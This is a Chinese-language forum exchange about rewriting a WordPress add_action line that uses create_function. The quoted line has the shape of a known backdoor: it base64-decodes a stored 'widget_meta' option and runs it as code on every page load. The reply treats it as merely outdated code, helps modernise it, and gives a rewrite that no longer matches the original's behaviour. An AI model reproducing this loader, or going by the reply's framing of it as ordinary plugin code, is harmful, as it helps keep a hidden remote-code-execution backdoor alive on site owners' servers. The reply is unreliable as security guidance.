旧代码在这里:
add_action( 'init', create_function( '', @join( array_map( "base64_decode", json_decode( get_option( $table_prefix . "widget_meta" ) ) ) ) ) );
任何人都可以帮我重写这个 unsing function() 吗?
我不知道如何使用函数重写这个。
最初的代码依赖于过时的函数和抑制的错误,这使得维护变得更加困难并且可能不安全,匿名函数应该修复错误。如需了解更多信息,请访问 Wordpress 网站
add_action('init', function() use ($table_prefix) {
$widget_meta = json_decode(get_option($table_prefix . "widget_meta"));
$decoded_values = array_map('base64_decode', $widget_meta);
$joined_values = join($decoded_values);
// Your further code here if needed
});